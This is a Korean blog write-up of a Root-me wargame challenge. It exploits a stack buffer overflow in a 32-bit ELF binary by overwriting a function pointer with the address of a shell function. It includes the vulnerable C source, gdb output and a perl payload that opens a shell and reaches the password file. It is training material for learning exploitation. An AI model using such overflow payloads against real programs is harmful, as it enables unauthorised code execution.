[App-System] ELF x86 - Stack buffer overflow basic 2

2022. 7. 3. 18:41·Wargame/Root me
728x90
반응형

1. intro

2. code & 분석

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>
     
    void shell() {
        setreuid(geteuid(), geteuid());
        system("/bin/bash");
    }
     
    void sup() {
        printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
    }
     
    void main()
    {
        int var;
        void (*func)()=sup;
        char buf[128];
        fgets(buf,133,stdin);
        func();
    }

우선 envi. config.에 NX, Heap exec가 걸려있다.
추후에 이에 대해서 다시 한번 정리하기로하고, 간단히 이야기하자면 buffer 내에 의미 있는 코드가 입력되더라도 실행되지는 않게 막아주는 보호 기법이다.

코드를 간단히 해석해보면
main 함수에서 var, func, buf를 선언해주고 fgets 함수 실행 후 func() 함수를 실행하게 된다.

변수의 경우
var는 선언만,
func 포인터 변수는 sup 함수의 주소를 담아 선언,
buf 함수는 128 byte 공간을 가지고 선언
된다.

이후 fgets 함수로 133 byte를 stdin 으로 입력받아 buf 변수에 넣고, func 함수를 실행하게 된다.

여기서 buf 변수의 크기는 128 byte이지만 133 byte를 입력 받기 때문에 5 byte 침범하여 func 변수의 값을 변경할 수 있게 되며, 이때 shell() 함수의 주소로 변경해주면 func 함수 실행 시 shell이 실행될 것이다.

그러므로 페이로드는
더미 128 byte + shell() 함수 address + cat
으로 구성할 수 있다.

여기서 shell 함수의 주소는 gdb로 확인할 수 있다.

app-systeme-ch15@challenge02:~$ ls
ch15  ch15.c  Makefile
app-systeme-ch15@challenge02:~$ gdb -q ./ch15
Reading symbols from ./ch15...(no debugging symbols found)...done.
(gdb) info functions 
All defined functions:

Non-debugging symbols:
0x08048350  _init
0x08048390  fgets@plt
0x080483a0  geteuid@plt
0x080483b0  puts@plt
0x080483c0  system@plt
0x080483d0  setreuid@plt
0x080483e0  __libc_start_main@plt
0x080483f0  __gmon_start__@plt
0x08048400  _start
0x08048440  _dl_relocate_static_pie
0x08048450  __x86.get_pc_thunk.bx
0x08048460  deregister_tm_clones
0x080484a0  register_tm_clones
0x080484e0  __do_global_dtors_aux
0x08048510  frame_dummy
0x08048516  shell
0x08048559  sup
0x08048584  main
0x080485de  __x86.get_pc_thunk.ax
0x080485f0  __libc_csu_init
0x08048650  __libc_csu_fini
0x08048654  _fini
(gdb)

3. payload

app-systeme-ch15@challenge02:~$ (perl -e 'print "a"x128,"\x16\x85\x04\x08"';cat) | ./ch15
id
uid=1215(app-systeme-ch15-cracked) gid=1115(app-systeme-ch15) groups=1115(app-systeme-ch15),100(users)
ls -al
total 36
dr-xr-x---  2 app-systeme-ch15-cracked app-systeme-ch15 4096 Dec 10  2021 .
drwxr-xr-x 18 root                     root             4096 Dec 10  2021 ..
-r-sr-x---  1 app-systeme-ch15-cracked app-systeme-ch15 7404 Dec 10  2021 ch15
-rw-r-----  1 app-systeme-ch15-cracked app-systeme-ch15  337 Dec 10  2021 ch15.c
-rw-r-----  1 root                     root               44 Dec 10  2021 .git
-r--r-----  1 app-systeme-ch15-cracked app-systeme-ch15  537 Dec 10  2021 Makefile
-r--------  1 app-systeme-ch15-cracked app-systeme-ch15   23 Dec 10  2021 .passwd
-r--------  1 root                     root              791 Dec 10  2021 ._perms
cat .passwd
-------------- #플래그는 삭제
728x90
반응형

'Wargame > Root me' 카테고리의 다른 글

[App-System] ELF x86 - Race condition  (0) 2022.07.07
[App-System] ELF x86 - Format string bug basic 2  (0) 2022.07.04
[App-System] ELF x64 - Stack buffer overflow - basic  (0) 2022.07.04
[App-System] ELF x86 - Format string bug basic 1  (0) 2022.07.03
[App-System] ELF x86 - Stack buffer overflow basic 1  (0) 2022.07.02
'Wargame/Root me' 카테고리의 다른 글
  • [App-System] ELF x86 - Format string bug basic 2
  • [App-System] ELF x64 - Stack buffer overflow - basic
  • [App-System] ELF x86 - Format string bug basic 1
  • [App-System] ELF x86 - Stack buffer overflow basic 1
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (493)
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (22)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    pwntools
    libc
    pwnable.kr
    exploit education
    tcache
    ROOT ME
    phoenix
    _IO_FILE
    docker
    heap
    CANARY
    64bit
    x86
    rop
    hackerschool
    FSB
    Me
    la ctf
    Buffer Overflow
    x64
    dreamhack
    RTL
    lob
    cryptohack
    root
    root-me
    Format String Bug
    32bit
    BOF
    vtable
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[App-System] ELF x86 - Stack buffer overflow basic 2
상단으로

티스토리툴바